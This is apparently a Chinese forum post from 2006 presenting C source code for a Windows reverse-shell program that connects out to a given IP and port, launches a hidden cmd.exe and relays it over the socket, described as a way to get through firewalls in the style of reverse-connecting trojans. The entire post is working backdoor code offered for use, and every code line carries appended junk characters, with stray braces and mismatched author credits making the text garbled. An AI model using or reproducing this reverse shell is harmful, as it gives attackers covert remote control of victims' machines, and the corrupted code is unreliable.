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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 (qq$y #$  
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/* ============================== %o _0M^3W  
Rebound port in Windows NT WPh |~]by<  
By wind,2006/7 SBYMDKZ  
===============================*/ HK,G8:T  
#include `mHOgS>|  
#include osgS?=8  
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#pragma comment(lib,"wsock32.lib") ~_^o?NE,  
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void OutputShell(); J=Y( *D7Q  
SOCKET sClient; JQVw6*u{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \Z7([Gh  
cM7k){  
void main(int argc,char **argv) yADN_  
{ Eg- Mm4o  
WSADATA stWsaData; ^: rNoo  
int nRet; Ubos#hP  
SOCKADDR_IN stSaiClient,stSaiServer; :\w[xqH  
)su <Ji*  
if(argc != 3) ^5'/ }iR2N  
{ *Yk8Mj^_h  
printf("Useage:\n\rRebound DestIP DestPort\n"); {dr&46$p  
return; >[P7Zlwv4  
} ^J}$y7  
i[BR(D&l_p  
WSAStartup(MAKEWORD(2,2),&stWsaData); g,GbaaXH  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [E :`jY  
{-7yZ]OO$  
stSaiClient.sin_family = AF_INET; pGcx jm  
stSaiClient.sin_port = htons(0); _)Z7Le:f!  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6L`+ z  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) QmkC~kK1.  
{ CTrs\G  
printf("Bind Socket Failed!\n"); :,z3 :PL  
return; EwBN+v;)  
} zl0:U2x7  
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stSaiServer.sin_family = AF_INET; g KmRjK  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); LkZo/K~  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7[.Q.3FL  
q?]@' ^:;  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~1]2A[`s!  
{ /KvPiQ%  
printf("Connect Error!"); ZT6X4 Z  
return; s2v#evI`+  
} mP .&fS  
OutputShell(); 08n%% F  
} `6/Yf@b  
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void OutputShell() !DUg"o3G>  
{ !}Ou|r4_  
char szBuff[1024]; :AcN b  
SECURITY_ATTRIBUTES stSecurityAttributes; iYQy#kO  
OSVERSIONINFO stOsversionInfo; 4l!Yop0h  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;gu>;_  
STARTUPINFO stStartupInfo; hv8[_p`>  
char *szShell; n; '~"AG)  
PROCESS_INFORMATION stProcessInformation; 7'/2:"  
unsigned long lBytesRead; xS-nO_t 'E  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); o/[yA3^  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); qsRfG~Cg  
stSecurityAttributes.lpSecurityDescriptor = 0; _M4v1Hr48  
stSecurityAttributes.bInheritHandle = TRUE; = Vr[V@  
?9okjLp1n  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~U*N'>'=)  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k@)m-K  
ez:o9)N4  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); h|uP=0   
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >W]"a3E  
stStartupInfo.wShowWindow = SW_HIDE; d*:qFq_  
stStartupInfo.hStdInput = hReadPipe; wQuaB6E  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xr3PO?:  
W9m[>-Ew  
GetVersionEx(&stOsversionInfo); ao5yW;^y  
} fMFQA)  
switch(stOsversionInfo.dwPlatformId) dv}R]f'  
{ Y'%I at(z  
case 1: _ ,1kcDu  
szShell = "command.com"; LmdV@gR  
break; Q pc^qP^-  
default: VP[!ji9P   
szShell = "cmd.exe"; v%~ViOgL\  
break; R.'Gg  
} v6Wf7)d/1  
tYNt>9L|  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }`FC__  
>#n-4NZ;p9  
send(sClient,szMsg,77,0); QN a3S*  
while(1) Kf<_A{s  
{ ~{$'sp0  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <).qe Z  
if(lBytesRead) kL2sJX+  
{ aNU%OeQA  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); x(N} ^Hu  
send(sClient,szBuff,lBytesRead,0); ^M5uLm-_s  
} eV+wnE?SB5  
else J` --O(8Ml  
{ >:nJTr  
lBytesRead=recv(sClient,szBuff,1024,0); (lsod#wEMg  
if(lBytesRead<=0) break; \ iSBLU  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .Tqvy)'  
} SLA~F?t  
} y'wW2U/ 1-  
w7V W   
return; SFNd,(kB*z  
}
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